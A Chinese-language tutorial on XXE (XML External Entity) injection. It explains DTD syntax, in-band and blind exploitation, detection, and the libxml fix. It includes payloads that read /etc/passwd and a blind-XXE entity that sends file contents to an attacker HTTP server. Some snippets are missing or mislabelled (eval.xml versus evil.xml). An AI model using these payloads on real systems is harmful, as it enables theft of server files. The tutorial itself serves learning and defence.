在 FIT2018 互联网创新大会上得知,最新的 OWASP top10
中,XXE 已上升至第三位,所有对 XXE 产生了强烈的兴趣。虽然之前也听说过 XXE,但是一直未深入了解。经多方资料查询,愈发感受到 XXE 攻击的强大。
以下是我这段时间对 XXE 学习的一点总结,比较浅显,仅供参考。
0x00 什么是 XXE
XXE:XML External Entity
,即外部实体攻击。要了解 XXE 攻击,需要先了解 XML 相关语法。
XML相关语法
XML 是一种可扩展标记语言,被设计用来传输和存储数据。XML 的基本格式如下:
上述 XML 代码基本可分为三部分:
第一部分是 xml 的版本。
第二部分是 xml 的 DTD(Document Type Definition
) 文档类型定义。
第三部分是 xml 语句。
而外部实体攻击主要就是利用 DTD 的实外部体来进行注入。
下面着重讲解一下 DTD 实体的相关语法。
DTD 有两种构建方式,分别为内部 DTD 声明和外部 DTD 引用。
内部 DTD 声明:
<!DOCTYPE 根元素 [元素声明]>
外部 DTD 引用:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD 实体同样有两种构建方式,分别为内部实体声明和外部实体声明。
内部实体声明:
<!ENTITY entity-name "entity-value">
外部实体声明:
<!ENTITY entity-name SYSTEM "URI/URL">
外部实体示例:
<!DOCTYPE hlw [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <hlw>&xxe;</hlw>
上述代码中,XML 的外部实体 “xxe”
被赋予的值为:file:///etc/passwd
当解析 xml 文档时,xxe 会被替换为 file:///etc/passwd
的内容。
注意:
一个实体由三部分构成: 一个和号 &
, 一个实体名称, 以及一个分号 ;
更多 XML 相关语法,请参考:
http://www.runoob.com/xml/xml-tutorial.html
XXE 攻击原理
在 XML1.0
标准里,XML 文档里的实体的标识符可以访问本地远程内容,如果在外部实体引用的过程中,注入恶意代码,即可引发信息泄露等安全问题。
比如上述示例中所演示的 URI,即可读取 passwd 中的敏感信息。
0x01 XXE 攻击方式
一般 XXE 利用分为两大场景:有回显和无回显。有回显的情况下可以直接在页面中看到 Payload 的执行结果或现象;
无回显的情况又称为 blind xxe
,可以使用外带数据通道提取数据。
1.有回显情况:
有回显的情况可以使用如下的两种方式进行 XXE 注入攻击。
(1)直接将外部实体引用的URI设置为敏感目录。
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
(2)将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd 文件,远程注入。
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>
外部 evil.dtd
中的内容:
<!ENTITY evil SYSTEM "file:///etc/passwd" >
2.无回显的情况:
可以使用外带数据通道提取数据,先使用 filter:///
获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器)。
实体 remote,all,send
的引用顺序很重要,首先对 remote 引用的目的是将外部文件 evil.xml
引入到解释上下文中,然后执行 %all
,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发。
源文件代码如下:
eval.xml
的源码如下:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.1.176/1.php?file=%file;'>">
当然,也可以直接在 DTD 中引用 send 实体,如果在 evil.xml
中,send 是个参数实体的话,即可用以下方式:
源文件代码如下:
evil.xml
的内容,内部的 %
号要进行实体编码成 %
,代码如下:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.1.176/1.php?file=%file;'>">
有报错直接查看报错信息。无报错需要访问接受数据的服务器中的日志信息或 burp 抓包重放。
0x02 XXE 漏洞检测
最直接的办法就是,检测那些接收 xml 作为输入内容的节点。
但是很多时候,这些节点表面看来可能不是很明显,这个时候就需要借助 burp 抓包,通过修改不同的字段,如 http 请求方法、Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。
0x03 XXE 修复与防御
可以将 libxml
版本升级到 2.9.0
以后,因为 libxml 2.9.0
以后默认是不解析外部实体的;或者手动检查底层的 xml 解析库,设置为禁止解析外部实体。
0x04 总结
XXE 的利用方式非常广,危害也非常大。除了上文提到的文件读取,还可以进行拒绝服务攻击、命令执行、SQL(XSS) 注入、内网扫描端口、入侵内网站点等,非常值得深入学习。而文章中验证 XXE 的环境,vulhub 也包含了除 XXE 之外的很多其他漏洞验证环境,如 HeartBleed 心脏出血、JBoss 反序列化、Nginx 解析漏洞等,非常适合初学者进行实践操作。推荐阅读:《XPath注入:攻击与防御技术》
0x05 参考链接
http://www.runoob.com/xml/xml-tutorial.html http://vulhub.org/#/environments/php_xxe/ https://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA